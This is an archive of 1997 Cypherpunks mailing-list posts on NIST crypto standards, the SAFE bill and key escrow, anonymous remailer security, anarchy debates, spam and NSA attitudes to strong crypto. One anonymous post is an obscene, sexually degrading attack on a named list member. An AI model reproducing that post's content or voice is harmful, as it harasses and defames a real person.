later, when you mature a little, discussion can get back to more
meaningful topics.
- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define pgp-fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 5B")
(require 'stddisclaim)


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBM3skbiqNPSINiVE5AQHzhwP6Ayxaxcea6e+Ss7C2cxRJWSXeHnNd5Eb7
UscbiGypghWUt5293FikqGWPHBorY3IKqMS+OYtvuJ/tjBG1n236SP35zLlWFaxb
V3QJ1AtU/3DSwKq6Alr4lLnMn/1QU+CkhgzpSDyIIwGYyPvGTpdOg/zg0TBrWv2e
uuhyJv7CrlQ=
=FjfL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 15 May 1997 20:30:30 +0800
To: cypherpunks@toad.com
Subject: NIST Crypto Notices
Message-ID: <1.5.4.32.19970515120309.00916cf4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Two May 13 Federal Register notices by NIST:

NIST is planning to develop a FIPS for Public-Key Based 
Cryptographic Key Agreement and Exchange. This notice 
solicits comments regarding techniques for consideration
specifically including RSA, Diffie-Hellman, and Elliptic Curve
techniques. This standard will be for use in designing and 
implementing public-key based key agreement and exchange 
systems which Federal departments and agencies operate or 
which are operated for them under contract. More than one 
algorithm may be specified, consistent with sound security 
practices, to enable Federal departments and agencies
enhanced flexibility in the design, implementation, and use of
cryptographic systems.

   http://jya.com/nist051397.txt  (6K)

NIST is planning to develop a proposed revision to Federal
Information Processing Standard 186, Digital Signature 
Standard. This revision would specify additional public-key 
based digital signature algorithms (in addition to the Digital 
Signature Algorithm [DSA]) for use in designing and implementing 
public-key based signature systems which Federal departments 
and agencies operate or which are operated for them under 
contract. The purpose of the revision will be to enable
Federal departments and agencies greater flexibility, consistent 
with sound security practices, in the design, implementation, 
and use of public-key based digital signature systems.

   http://jya.com/dss-rev.txt  (6K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 15 May 1997 23:30:38 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: <Pine.GSO.3.95.970515080632.7217B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 15 May 1997 10:59:23 -0400
From: Barry Steinhardt <barrys@aclu.org>
To: "Shabbir J. Safdar" <shabbir@vtw.org>,
    Declan McCullagh <declan@well.com>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House  Judiciary

Declan and Shabbir,

I thought it might be helpful to your dialouge to give you the ACLU's
current views about SAFE. The language significantly limiting the
criminalization provision was indeed drafted by EPIC and the ACLU. Don
Haines and Dave Sobel did a great 

The language was an improvement , but it doesn't belong in the bill and we
are still lobbying to have the criminalization provision removed. 

All of us in the cyber liberties community need to watch this legislation
very carefully. It could easily get much worse as a "compromise" is reached
with the Administration. In the end,the bill could be laden with amendments
on issues like key recovery that defeat our purpose of making strong and
secure encryption generally available.

At some point, we may need to say that no bill is better than a bad bill.


At 10:32 AM 5/15/97 -0400, Shabbir J. Safdar wrote:
>At 7:26 AM -0700 5/15/97, Declan McCullagh wrote:
>>Shabbir,
>>
>>You're mistaken. I'm not "slighting their work" -- I called it a "solid
>>improvement."
>>
>>Yeah, I know who shopped this around. I spoke with David and Don about
>>this last week, and didn't write about it then for fear of jeopardizing
>>their negotiations.
>
>Then why didn't you give them credit for it in the story?  They should be
>lauded for writing this amendment which is a solid improvement. EPIC and
>ACLU did great work, and deserve more credit in your story than you gave
>them.
>
>-S
>
>
>
>

----------------------------------------------------------------------------
------

Barry Steinhardt			Barrys@aclu.org		
Associate Director			212 944-9800 ext 614 (v)
American Civil Liberties Union		212 354-5290 (fax)
132 West 43 Street			
NYC 10036

****   PGP Key available at: http://www.aclu.org/about/pgpkeys.html   ****

	Visit the ACLU Web Site http://www.aclu.org
	ACLU can be found on AOL at Keyword ACLU
	ACLU Supports the Global Internet Liberty Campaign (GILC)
	http://www.gilc.org







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 16 May 1997 01:03:24 +0800
To: cypherpunks@toad.com
Subject: Anarchy Books
In-Reply-To: <199705141907.PAA19087@bksmp2.FRB.GOV>
Message-ID: <v03007818afa0e157d674@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:22 PM -0700 5/14/97, Tim May wrote:
>The meaning of anarchy, and how it differs from chaos and random killings,
>has been discussed many times. David Friedman's "The Machinery of Freedom"
>is a good book to start with. Bruce Benson's "The Enterprise of Law" also
>discusses how lawlessness is not at all a necessary part of "no rulers"

For anarchy in a fictional setting I recommend two books by Ursula K.
LeGuin.  "The Dispossessed" and "Always Coming Home".

In a lecture several years ago in San Francisco, she said of the two books
that in "The Dispossessed" I set out to describe an anarchy.  In "Always
Coming Home" I just let it happen.

BTW - When I read "Always Coming Home", I was over half-way thru the book
before I had any idea of what it was about.  Be prepared for a long period
of confusion as to why you are reading it.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 00:23:45 +0800
To: "Roger J. Jones" <cypherpunks@cyberpass.net>
Subject: Re: FW: Anonymous Remailers
In-Reply-To: <01BC611B.8CD67F10@pc1901.ibpinc.com>
Message-ID: <v03007801afa0f2bee916@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:34 AM -0800 5/15/97, Roger J. Jones wrote:

>Roger J Jones Responded
>Several of you have suggested as Tim has that the chain of remailers is
>secure.  I suggest that the statement is only true to the extent that one
>wants to trace back a particular message.  On the other hand, if one wants
>to find the source of postings to anonymous remailers and has skilled
>access to the Internet the task is quite simple and does not even require
>attacking the remailers.  Of
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Care to tell us how this tracing is done without cooperation of the remailers?

Perhaps you don't understand how remailers work, how many messages they
accumulate to provide the mixing entropy, and how long they typically delay
messages. (Latency, or the delay, is not the central issue...mixing entropy
is. But, in practice, latency is associated with this.)


>
>I still seem to be missing something.........

I agree. But we can't help you, as you seem to be unknowledgeable about the
basic nature of digital mixes. If you won't take the time to figure out the
basics of how they work, how can we keep writing articles trying to correct
your misapprehensions?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 00:33:43 +0800
To: cypherpunks@toad.com
Subject: Re: Difference in terms
In-Reply-To: <199705091300.OAA02217@server.test.net>
Message-ID: <v03007802afa0f44544cb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:43 PM -0800 5/14/97, Bill Stewart wrote:
>>Lutz Donnerhacke <lutz@as-node.jena.thur.de>writes:
>>>   key recovery is if I can get my key
>>>   key escrow is if you can get my key
>
>"Key Escrow" was "We want your keys".
>"Software Key Escrow" was "OK, Clipper was a loser, but we want your keys"
>"Public Key Infrastructure" was "Here, have some keys"
>"Trusted Third Party" was "Hey, trust us, we want your keys"
>"Key Recovery" is "OK, that didn't work, but we still want your keys"
>

SAFE is "All Americans deserve strong security and unlimited strength
crypto, but we still want your keys."

"Pro-CODE is about the right to have and export military-grade crypto, but
we still want your keys."

Or as Congressman J. Getalong put it, "SAFE is a step toward a future of
security and prosperity. The legitimate needs of law enforcement are being
met by this bill. We are good listeners of the NSA, and the NSA is a good
listener to all of us. And I do mean all of us. All Americans will prosper
from this new working relationship with Big Brother. War is Peace and
SAFEty is liberty,"

--Emmanuel Goldstein


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Thu, 15 May 1997 21:52:15 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <19970515002241.20918@bywater.songbird.com>
Message-ID: <199705151324.JAA16673@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



> Dan White committed suicide, after a while.  He probably died sooner than
> the state could have killed him, with appeals and all.  Anyway, Feinstein
> has had a fair amount of first hand experience with gun violence -- more
> than most people on this list.  Her stand on gun control is probably the
> most principled and honest one she has made.

He committed suicide in Oct 1985, after being released in Jan 1985.

Gun control wouldn't have stopped Dan White.  He was a former cop.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 16 May 1997 00:50:54 +0800
To: adam@homeport.org
Subject: Re: `careerpunks'
In-Reply-To: <199705131158.HAA20185@homeport.org>
Message-ID: <199705151628.JAA05763@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
> 
> 
> 
> Adam Back wrote:
> > Seems to me many of the `cypherpunks' have become `careerpunks' and
> > are now more interested in trading crypto tips, trade gossip, than in
> > cypherpunks projects.
> > 
> > They went through the phase of buying kewl domain names (take a look
> > down the subscriber lists), tinkering with remailers, and have now
> > graduated to making money from crypto consulting, and lost interest in
> > the issues where they don't add to the bottom line.
> 
> 	I disagree with your analysis.  I'm working for a number of
> large companies as a consultant.  At each of them, I think I've done
> things that substantially imrpove customer privacy.

Same here.  I've been looking out for privacy problems in the systems
that I help my clients design.  Whenever I find one I have been able to
convince the client to redesign their product to fix it.
I'd never have this much influence as a mere cypherpunk.  But when I
can tell the client what the damage will likely be if their systems
are not sufficiently private, they become very interested in making them so.

Also, working in the field doesn't preclude doing free stuff that
you find an interest in.


> 	Selling your services does not involve selling out.

Yes.  I will not work for a client on a project that I consider
to be 'bad' (i.e. GAK).   I do wonder sometimes what I will do if/when
all crypto systems are GAKware.



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 16 May 1997 00:59:20 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from HouseJudiciary
In-Reply-To: <Pine.GSO.3.95.970514211520.28811E-100000@well.com>
Message-ID: <v0300781cafa0ea98034c@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:15 PM -0700 5/14/97, Declan McCullagh wrote:
>...
>* The word on the streets is compromise. Hyde, chair
>  of House Judiciary, brokered a meeting in his offices
>  yesterday bringing together spooks, law enforcement,
>  Goodlatte, and staffers. He says they're "very close
>  to resolving any difficulties."
>
>  Rep. McCollum chimed in: "It's just a matter of time
>  before we work something out." Rep. Buyer said, and I
>  am not making this up: "We should be good listeners to
>  the NSA." Rep. Berman: "I hope there would be some way
>  to bridge the differences between the administration
>  and Goodlatte."

During a hall discussion at CFP, I heard that people at NSA are changing
their opinions about the use of strong crypto in the general community.
The reason is the threat of InfoWar and the need for strong crypto in
general use to secure the US information infrastructure.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Thu, 15 May 1997 22:18:24 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514142758.42227@bywater.songbird.com>
Message-ID: <199705151347.JAA18147@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



Kent wrote:
> >   anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
> >   2. political disorder and violence 3. disorder; confusion
> > 
> > Note the etymology.  Taken to its roots, the word simply means "no leader".
> 
> Note the second definition.

So, in other words, you agree with Tim about your definition of Rawanda as 
an example of anarchy:

Tim wrote:
> Calling this an "anarchy" is comparable to calling the pogrom by the Third
> Reich against Jews, gypsies, cripples, and others an example of anarchy.

The topic at hand was "Do governments kill more than individuals?".
Bringing Rawanda up as a counter-example to government and calling it an
anarchy is kind of dishonest, don't you think?  In the context of THIS
discussion, "anarchy" can only be the first definition, "no government".
Rawanda is not an anarchy in the sense of "no government," it's simply an
anarchy in the sense that the government is in disorder.  One faction of
government is fighting for control of government over another.

We can tally up the deaths in Rawanda to those created by government.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu>
Date: Fri, 16 May 1997 01:45:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151652.JAA13955@fat.doobie.com>
Message-ID: <199705151732.KAA12426@A-abe.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Content-Type: text/plain

> Oh, this is just charming.  People are still dying, and now you're
> going to sit on the sidelines writing email messages to people about
> what they're discussing on some mailing list. 

Better than being the one to bring it up in the first place.  Really, is 
a crypto list an appropriate place for that sort of tripe, any more than 
it is for this?

> > You can't count up human lives and say ``this entity is more evil than
> > this entity.''  It doesn't work that way.  People are people,
> > regardless, and usually don't deserve that kind of premature
> > termination.
> 
> Your use of the word "usually" betrays your hypocrisy.  If some people 
> "don't deserve that kind of premature termination," it follows that
> some do: presumably those that are more evil than the rest.

I do believe that there are varying degrees of evil, yes.  I do not 
believe they can be differentiated by counting bodies.

I remarked `usually', because of a practical bend; the Rhwandans 
certainly don't deserve their lot, but there are others who well deserve 
premature termination in one form or another; Dahmer comes to mind.  From 
time to time, I thought that things would be better off if I were to 
simply die.

Put another way, the situation in Rhwanda distorts the usual 
life-and-death cycle, by killing indiscriminately people who should live 
much longer.  Dahmer, a man who lived in death, could hardly come to a 
more appropriate end.

As I look back on that paragraph, I do acknoledge it was poorly worded, 
and I apologize for the difficulties.  No one, not even Dahmer deserves 
the hardships Rhwandans (to pick a convenient example) are going through.

> So you're saying that fewer people would die in Rwanda if we discussed
> something else?  What exactly is it that you think the members of the
> Cypherpunks list should do about it (assuming for the sake of argument
> that "we" wanted to do anything)?

I just don't think it's appropriate to center a long flame about.  Does 
it not cause you, too, anguish to see such a situation fought over like a 
dog bone?




- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define pgp-fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 
5B")
(require 'stddisclaim)


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roger J. Jones" <cyber@ibpinc.com>
Date: Thu, 15 May 1997 23:47:55 +0800
To: "'cypherpunks@cyberpass.net>
Subject: FW: Anonymous Remailers
Message-ID: <01BC611B.8CD67F10@pc1901.ibpinc.com>
MIME-Version: 1.0
Content-Type: text/plain




At 5:17 AM -0800 5/14/97, Roger J. Jones wrote:
>Why is it that some who are very concerned about their personal privacy
>utilize anonymous remailers that:
>
>1) Log all of their mail messages?

Tim May Responded

With chained, multiply-encrypted messages, logs are ineffective unless all of the links in the chain collude to trace messages. While this is certainly possible, it seems unlikely.
Roger J Jones Responded
Several of you have suggested as Tim has that the chain of remailers is secure.  I suggest that the statement is only true to the extent that one wants to trace back a particular message.  On the other hand, if one wants to find the source of postings to anonymous remailers and has skilled access to the Internet the task is quite simple and does not even require attacking the remailers.  Of course, one could break the chain by having the remailers call each other outside of the Internet, but then of course the phone records would disclose the connection.  Then again, one could hard wire a private connection between two remailers outside of both the Internet and the phone system but even this connection would be disclosed through reasonable traffic analysis.  Of course, the simple fact that even encrypted streams need to include the ultimate destination of the message makes content analysis easier and weakens the encryption.  Then again, all of this is a lot of work.  Social Engineering and pure bribery would more likely be the most efficient and effective solution.

Roger J Jones wrote:

>2) Are in many cases reputed to be run by foreign intelligence services?

Tim May Responded

This allegation was made by some clueless Washington think tank authors.  They provided no evidence, only innuendo, and they were unwilling or unable to provide any further comments when queried by several Cypherpunks.
And given that many or even most of the remailer operators are members of the various related Cypherpunks or Remailers Operators lists, and are known to various of us, the notion that most (or even many) remailers are run by intelligence agencies is absurd.

At 9:48 AM -0800 5/14/97, Roger J. Jones wrote:
I suggest that just because you chose to characterize the sources as "clueless Washington think tank authors" does not (as they say in Star Trek - The Next Generation) "make it so".  The "allegation" that foreign governments actively participate in actions to violate personal privacy ("borrowing" laptops from traveling businesspeople, taping phones, etc.) are all documented in various places.  Of course, they could all the result of a single psyop with excellent results.  But I doubt it.

Tim May Responded
Your first point, using some kind of Star Trek lingo, is beyond comment. I provided a lot more context than your original point provided, and yet you seem to want even more documentation. Go back and read the archives for a discussion of this paper (hint: search on "remailers" ANDed with "SAIC." Pay particular attention to the critique of this paper by such folks as Raph Levien, and others.

Anonymous Responded
Yes, you are missing a lot.  The bit about foreign inteligence agencies is almost certainly a canard created by one Strassman at a conference in Boston 2 years ago, then retracted.  Anyway, if you use chaining, it's irrelevant.
See 
<A HREF="http://www.law.miami.edu/~froomkin/articles/ocean.htm">
http://www.law.miami.edu/~froomkin/articles/ocean.htm
</A> and
<A HREF="http://www.law.miami.edu/~froomkin/articles/arbitr.htm">
http://www.law.miami.edu/~froomkin/articles/arbitr.htm
</A>
for the gory details.

Roger J Jones Responded

Given that several of you have suggested that the "foreign agent" theory is a hoax I suggest that this does not give me much faith either.  What we have is the classic case that it difficult if not impossible to prove the non-existence of anything.  For example, presume that one could identify every real owner of every remailer in the Internet universe.  Have we proved anything?  Not really.  Because in the time it has taken to prove the case, a new remailer could have been created.  Or the remailer that one thinks is secure could be down with a different remailer operating as an IT spoof.  Or, after checking with the owner of the "safe" remailer the owner becomes subject to the normal desires of life (fear, greed, power, etc.) and "turns."  The existence of both type one and type two errors prevents even an exhaustive search from being fully satisfied.

Roger J Jones wrote

>Do they really trust the owner of the remailer? (Unless of course, it is
>their remailer?)  I seem to be missing something.

Roger J Jones wrote further......

So, chaining does not seem to be a secure solution.  It just makes the process more difficult, but not impossible.

The non-existance of "agents" who would operate a remailer for purposes other than protecting security can not be proven.

I still seem to be missing something.........  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 15 May 1997 23:01:49 +0800
To: "Ross Wright" <rwright@adnetsol.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705142339.QAA23731@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970515104631.009d0660@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
>you see what I am saying about a web page being a yellow 
>pages ad, right?

Oh yes, I agree.  I just don't agree that posting to usenet is asking for
spam.  I post to usenet to get valid responses to my questions (or to
respond myself), not find out what the latest get rich kwik scheme is.

>Please, a few megs between cyber-clients?  No harm no foul.  You get 
>more megs of crap just from this list!  I'd bet real money on that!

Very true.  *However*, imagine this scenario: I post to Usenet regularly
using a work email address.  I am allowed by the company to do this as long
as the post is work-related.  Some spammer snatches my email address and
starts to send me email about some "Hot-n-wet" 900 number.  The filters on
the corporate mail catch this and management thinks that I'm soliciting
these ads.  I get formally reprimanded for it, which goes on my permanent
record.  The spammers have just made a major dent in my career and if it
continues to happen, I could lose my job.  It doesn't matter to Management
that I didn't solicit these emails, they just know that its getting in my
inbox.  What am I supposed to do then?

>One Meg Per One Meg.  Equal and fair.

How big is an arp paket?  This could get interesting the next time someone
sends me an attachment.

Speaking of which, on a related note, am I allowed to spam-bomb MS Exchange
idiots who send RTF attachments with their email.  Now *that* could get
fun.  :)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"You're a security chief. Shouldn't you be out securing something?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 16 May 1997 01:33:49 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Anarchy Books
In-Reply-To: <v03007818afa0e157d674@[207.94.249.70]>
Message-ID: <Pine.LNX.3.95.970515110518.2479C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 15 May 1997, Bill Frantz wrote:

> At 2:22 PM -0700 5/14/97, Tim May wrote:
> >The meaning of anarchy, and how it differs from chaos and random killings,
> >has been discussed many times. David Friedman's "The Machinery of Freedom"
> >is a good book to start with. Bruce Benson's "The Enterprise of Law" also
> >discusses how lawlessness is not at all a necessary part of "no rulers"
> 
> For anarchy in a fictional setting I recommend two books by Ursula K.
> LeGuin.  "The Dispossessed" and "Always Coming Home".
> 
> In a lecture several years ago in San Francisco, she said of the two books
> that in "The Dispossessed" I set out to describe an anarchy.  In "Always
> Coming Home" I just let it happen.
> 
etc...

I would also recommend the classic Heinlein work,
"The Moon is a Harsh Mistress".  As an example of self-organizing
anarchy/panarchy and general libertarian views it has no equal in
fiction.  At this point Heinlein was still at the top of his game.

Very enjoyable and thought provoking read.

Of course, most of you have probably already read it.

I suppose somebody will start talking about Rand here, but I found
her writing a little too strident.

jburnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 15 May 1997 23:36:52 +0800
To: cypherpunks@algebra.com
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <97May15.112158edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:

> 1) Log all of their mail messages? 

Good.  They will mainly waste space on a bunch of encrypted stuff with the
possible exception of the very last entry in the chain (which may only
give the recipient, and a message, which might reveal the author when
decrypted by the recipient's key).  Everything else will point to another
remailer and be readable only by it.  They can log who is using it if they
are first in the chain (so run your own remailer), but all they will know
is who is using it, assuming it is not a nym.

> 2) Are in many cases reputed to be run by foreign intelligence services?

So who says they don't provide a public service :).  Although I would
resent my tax money supporting something that can be done in the private
sector if I lived in such a country.  There should be a move to privatize
them.

> Do they really trust the owner of the remailer? (Unless of course, it is
> their remailer?)  I seem to be missing something. 

I shouldn't have to unless I only use one remailer exclusively.  If I use
random chains, or mixmaster type remailers, I don't HAVE TO TRUST the
remailer.  The worst they could do is not pass on mail (which would show
up in the stats), or selectively not send mail, or log content when they
were last on the chain and if the message was actually plaintext at that
point.

There are a few subtleties, but if you do things right, things are very
secure.  It depends if you are trying for 100% security or merely want to
avoid spam.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Thu, 15 May 1997 10:45:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Videocrypt/Videocrypt2 any cryptanalytic results?
In-Reply-To: <199705141828.LAA08796@fat.doobie.com>
Message-ID: <199705150230.LAA13987@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997 11:28:27 -0700, nobody@huge.cajones.com said:
 >Has any progress been made in cryptanalysing the algorithms used in the 
 >european Videocrypt and Videocrypt2 standards used to encrypt satellite 
 >broadcasts?

http://www.lysator.liu.se/~zino/crypt/vcrypt.html
http://joule.pcl.ox.ac.uk/~mark/sat/vid.html

 >Particularly, is there any information I can obtain about the protocols, 
 >the data communicated between the decoder and card, and the algorithm itself.

http://www.lysator.liu.se/~zino/crypt/details.txt
  Title: Some technical details about Videocrypt
  By Markus Kuhn -- 1994-08-02

# I have no more info.

///hayashi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 15 May 1997 23:44:32 +0800
To: The Spectre <spectre@nac.net>
Subject: Re: Anonymity and cowardice
In-Reply-To: <15302945318065@nac.net>
Message-ID: <97May15.113040edt.32258-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, The Spectre wrote:

> > So you're calling John Jay, James Madison, and Alexander Hamilton
> > cowards
> > (anonymous authors of the Federalist Papers)?  Many others have
> > (also used
> > anonymity to further the cause of liberty.  I doubt your real
> > name is "The Spectre" yet that is the name under which you are posting.
> >  Are you calling yourself a coward?
> The difference in all these cases (save mine) is that the people you listed
> would have been persecuted, if not prosecuted, for their actions.  Now
> people are hiding out of fear and paranoia of something that in most cases
> doesn't exist.  The people you mentioned never had to deal with this level
> of abuse, either.

The authors of the Federalist Papers would neither be prosecuted, nor
persecuted.  Read the history about what happened about the debate over
ratification of the constitution.  Since you are wrong about this bit of
history (i.e. no serious personal consequences to the authors), I would
like to know if you have a better reason.

It is not cowardice for someone to hide their identity to not prejudice a
reader.  People might read "publius" and evaluate their arguments on their
merits, but if they knew the authors were specifically A Hamilton and J
Madison they might be dismissed as already knowing where they stood.

Why do authors like Richard Bachman / Stephen King use pen names?

Why do musicians like John Cougar --- Mellencamp alter their names?

Are they all cowards too?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 16 May 1997 03:29:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Public Key Break Paper
In-Reply-To: <199705141841.LAA09403@fat.doobie.com>
Message-ID: <199705151919.MAA06224@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Truthmonger writes:

>   Anything Phill casts aspersions on has to be worth checking out:
>   http://jya.com/snlhit.htm


Just did.  It's crap. 

This alleged algorithm actually got pretty thoroughly trashed in sci.crypt
when it first came to light a few years back. 

It's a lot worse for large moduli than almost anything else out there, and
the author clearly has little understanding of the problem he is
attacking. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 00:56:10 +0800
To: cypherpunks@toad.com
Subject: Re: OTP: Yeah, you know me: Vulis
Message-ID: <199705151632.MAA19845@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Demento Vulis 's reheated, refurbished, and regurgitated auto-spam is
completely inappropriate for the mailing lists into which it is auto-spammed
by his inbred evil spam-bots.  Demento couldn't write a single lick of
cryptographic code if his NSA masters and his KGB brothers paid him for
it. But truth be known, he sells his spamming software to Cyberpromo
and their ilk, and gets paid in anal sex performed on him by large testicled
bulls - often without applying vaseline in his cavernous anus.

He has killed many bulls in this manner.

  
           \|/
        /~~~~~~~\
       |  O   O  |
   -ooo-----U-----ooo- Demento Vulis
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 03:58:52 +0800
To: Thomas Porter <cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
In-Reply-To: <v0300781cafa0ea98034c@[207.94.249.70]>
Message-ID: <v03007801afa122913b4d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:07 AM -0800 5/15/97, Thomas Porter wrote:
>At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:
>
>>
>>During a hall discussion at CFP, I heard that people at NSA are changing
>>their opinions about the use of strong crypto in the general community.
>>The reason is the threat of InfoWar and the need for strong crypto in
>>general use to secure the US information infrastructure.
>
>
>I realize I may catch it for my numerical ignorance here, but a more
>paranoid type might think that any acquiescence on the part of NSA might be
>due to more relative ease of breaking important traffic than they might
>have possessed in the past.

I was at the same CFP aisle discussion Bill Frantz is referring to, or at
least heard the same thing in a similar discussion. Clint Brooks of the NSA
(or one of its cutouts), Stuart Baker, Jim Bidzos, and seveeral of us were
talking about the overall crypto situation. Attacks on U.S. interests had
just been covered by a couple of panels, so "infowar" was in the air.
Brooks admitted that NSA was rethinking its opposition to strong crypto, as
they realized (duh) that weak crypto, e.g., <50 bits today, <60 bits in a
few years, etc., could allow attacks on financial and other institutions.

